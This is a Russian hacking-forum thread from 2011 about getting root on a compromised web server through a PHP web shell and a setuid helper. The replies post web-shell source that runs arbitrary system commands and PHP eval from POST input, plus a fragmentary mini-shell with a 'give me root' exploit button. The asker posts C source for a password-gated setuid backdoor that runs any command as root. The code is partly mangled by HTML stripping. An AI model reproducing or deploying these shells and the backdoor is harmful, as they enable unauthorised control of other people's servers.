HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 23.09.2011, 23:10
ginzon
Новичок
Регистрация: 19.05.2006
Сообщений: 8
Провел на форуме:
66627

Репутация: 0
По умолчанию

нужен шелл что бы указать суид и быть под рутом.

попробовал wso который в этой ветке.

но при активации суида почему то выбросило в форму пароля и при вводе пароля появляется лишь надпись сверху X-Powered-By: PHP/5.2.9 Content-type: text/html; charset=utf-8

и строка ввода пароля.

кто знает как исправить или посоветуйте похожий скрипт.
 
Ответить с цитированием

  #2  
Старый 24.09.2011, 16:01
ginzon
Новичок
Регистрация: 19.05.2006
Сообщений: 8
Провел на форуме:
66627

Репутация: 0
По умолчанию

скажите как правильно в wso suid указывать? у меня он лежит в папке с шеллом я указываю ./suid при нажатии он выдает что все root но потом когда нажимаешь по ссылкам шелла н выкидывает на страницу пароля и все. может я не правильно что делаю. помогите плиз мне срочно.
 
Ответить с цитированием

  #3  
Старый 24.09.2011, 16:28
shell_c0de
Reservists Of Antichat - Level 6
Регистрация: 07.07.2009
Сообщений: 324
Провел на форуме:
1585404

Репутация: 564
Отправить сообщение для shell_c0de с помощью ICQ Отправить сообщение для shell_c0de с помощью AIM
По умолчанию

/showthread.php?t=287507
__________________
Никогда не бойся делать то, что ты не умеешь. Помни, ковчег был построен любителем. "Титаник" - проффесионалами.
 
Ответить с цитированием

  #4  
Старый 24.09.2011, 18:10
ginzon
Новичок
Регистрация: 19.05.2006
Сообщений: 8
Провел на форуме:
66627

Репутация: 0
По умолчанию

Цитата:
Сообщение от shell_c0de  
shell_c0de said:
/showthread.php?t=287507
да я про этот и пишу. еще скачал wso там где два файла wso и wrapper.php указал путь к суиднику на шелл можно зайти вверху в шеле показано что я root но нельзя ходить по папкам и выполнять команды. только страница шелла и все. в чем же проблема?
 
Ответить с цитированием

  #5  
Старый 24.09.2011, 18:36
<Cyber-punk>
Участник форума
Регистрация: 01.10.2009
Сообщений: 105
Провел на форуме:
559542

Репутация: 94
Отправить сообщение для <Cyber-punk> с помощью ICQ
По умолчанию

Код:
Code:
'.
  ''.
  'r00t web-shell'.
  ''.
  '';
  /*********** MAIN CODE ***************/
  /*
  Выводим форму для выполнения команд
  */
  if(!isset($_POST['cmd']))
  {
  print ''.
  ''.
  ''.
  '

';
  }
  else
  {
  hack_system($_POST['cmd'],$pass_suid);
  }
  /*
  Выводим заветную кнопочку для получения
  рута
  */
  if(!isset($_POST['give_me_root']))
  {
  print '

';
  }
  else
  {
  give_me_root();
  }
  /********** END CODE *************/
  print
  ''.
  '';
  ?>
Мини-шелл + исполнение эксплойта
 
Ответить с цитированием

  #6  
Старый 24.09.2011, 18:49
ginzon
Новичок
Регистрация: 19.05.2006
Сообщений: 8
Провел на форуме:
66627

Репутация: 0
По умолчанию

тут еще проблемка. при исполнении этих скриптов первого и второго в error_log'е вот такая вот ошибка: PHP Warning: Module 'mbstring' already loaded in Unknown on line 0
 
Ответить с цитированием

  #7  
Старый 24.09.2011, 19:02
ginzon
Новичок
Регистрация: 19.05.2006
Сообщений: 8
Провел на форуме:
66627

Репутация: 0
По умолчанию

Цитата:
said:
Код:
Code:
'.
  ''.
  'r00t web-shell'.
  ''.
  '';
  /*********** MAIN CODE ***************/
  /*
  Выводим форму для выполнения команд
  */
  if(!isset($_POST['cmd']))
  {
  print ''.
  ''.
  ''.
  '

';
  }
  else
  {
  hack_system($_POST['cmd'],$pass_suid);
  }
  /*
  Выводим заветную кнопочку для получения
  рута
  */
  if(!isset($_POST['give_me_root']))
  {
  print '

';
  }
  else
  {
  give_me_root();
  }
  /********** END CODE *************/
  print
  ''.
  '';
  ?>
Мини-шелл + исполнение эксплойта
плин. ничего не понимаю. и в этом команды не выполняются. хотя когда нажимаешь give me root пишет ок. а команды не отоброжаются. в чем же тут проблема?
 
Ответить с цитированием

  #8  
Старый 24.09.2011, 19:07
ginzon
Новичок
Регистрация: 19.05.2006
Сообщений: 8
Провел на форуме:
66627

Репутация: 0
По умолчанию

я вот такой суидник юзаю. может с ним что не так:

#include

#include

main(int argc, char *argv[])

{

if(argc == 3){

if(strcmp(argv[1],"cool_hack") == 0){

setgid(0);

setuid(0);

system(argv[2]);

}

}

return 0;

}
 
Ответить с цитированием

  #9  
Старый 24.09.2011, 19:52
<Cyber-punk>
Участник форума
Регистрация: 01.10.2009
Сообщений: 105
Провел на форуме:
559542

Репутация: 94
Отправить сообщение для <Cyber-punk> с помощью ICQ
По умолчанию

Код:
Code:
$v){$_POST[$k] = stripslashes($v);}}
@ini_set('max_execution_time',0);
(@ini_get('safe_mode')=="1" ? $safe_mode="ON" : $safe_mode="OFF");
(@ini_get('disable_functions')!="" ? $disfunc=ini_get('disable_functions') : $disfunc=0);
(strtoupper(substr(PHP_OS, 0, 3))==='WIN' ? $os=1 : $os=0);
$action=$_POST['action'];
$content='';
$stdata='';
$style='BODY{background-color: #2b2f34;color: #9acd32;font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;MARGIN-TOP: 0px;MARGIN-BOTTOM: 0px;MARGIN-LEFT: 0px;MARGIN-RIGHT: 0px;margin:0;padding:0;scrollbar-face-color: #31333b;scrollbar-shadow-color: #363940;scrollbar-highlight-color: #363940;scrollbar-3dlight-color: #363940;scrollbar-darkshadow-color: #363940;scrollbar-track-color: #363940;scrollbar-arrow-color: #363940;}input{background-color: #31333b;font-size: 8pt;color: #b50016;font-family: Tahoma;border: 1 solid #666666;}select{background-color: #31333b;font-size: 8pt;color: #b50016;font-family: Tahoma;border: 1 solid #666666;}textarea{background-color: #363940;font-size: 11pt;color: #FFFAFA;font-family: Tahoma;border: 1 solid #666666;}a:link{color: #91cd32;text-decoration: none;font-size: 8pt;}a:visited{color: #91cd32;text-decoration: none;font-size: 8pt;}a:hover, a:active{background-color: #A8A8AD;color: #E7E7EB;text-decoration: none;font-size: 8pt;}td, th, p, li{font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;border-color:black;}';
$header=''.getenv("HTTP_HOST").' - R00t Web-Shell'.$style.'';
$footer='';
$lang=array('allfuncsh'=>'All function for work shell was disabled.');
$act=array('shell','phpeval');//here added new actions
if(isset($action)){if(!in_array($action,$act))$action="shell";else $action=$action;}else $action="shell";

function shell($cmd,$suid_pass,$suid)
{
  global $lang;
  $code = $suid.' '.$suid_pass.' "'.$cmd.'"';
 $ret = '';
if(!empty($code)) {
  if(function_exists('exec')){
  	@exec($code,$ret);$ret = join("\n",$ret);
  } elseif(function_exists('shell_exec')) {
  	$ret = @shell_exec($code);
  } elseif(function_exists('system')) {
  	@ob_start()
  	;@system($code);
  	$ret = @ob_get_contents();
  	@ob_end_clean();
  } elseif(function_exists('passthru')) {
  	@ob_start();
  	@passthru($code);
  	$ret = @ob_get_contents();
  	@ob_end_clean();
  } elseif(@is_resource($f = @popen($code,"r"))) {
  	$ret = "";
  		while(!@feof($f)) {
  			$ret .= @fread($f,1024);
  		}
  	@pclose($f);
  } else {
  	$ret=$lang['allfuncsh'];
  }
}
return $ret;
}
//shell
if($action=="shell"){
$content.="

".@$_POST['command']."

".convert_cyr_string(htmlspecialchars(shell($_POST['command'],$suid_pass,$suid)),"d","w")."

";}
//phpeval
if($action=="phpeval"){
$content.="
 
 
 &lt;?php

 ".@$_POST['phpev']."

 ?>

 ";
if(isset($_POST['phpev']))$content.=eval($_POST['phpev']);}

?>'; document.reqs.submit();">.| Shell |. '; document.reqs.submit();">.| Php Eval |..| .| forward->|.
 Safe mode: 
Disable functions: 
OS: 
Server: 
Id: 

| COPYRIGHT BY ANTICHAT.RU | Made by Grinay | Modified by daniel_1024 |
Скажи спасибо daniel_1024!
 
Ответить с цитированием

  #10  
Старый 24.09.2011, 22:10
ginzon
Новичок
Регистрация: 19.05.2006
Сообщений: 8
Провел на форуме:
66627

Репутация: 0
По умолчанию

вообщем вроде разобрался. daniel_1024!, спасибо.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ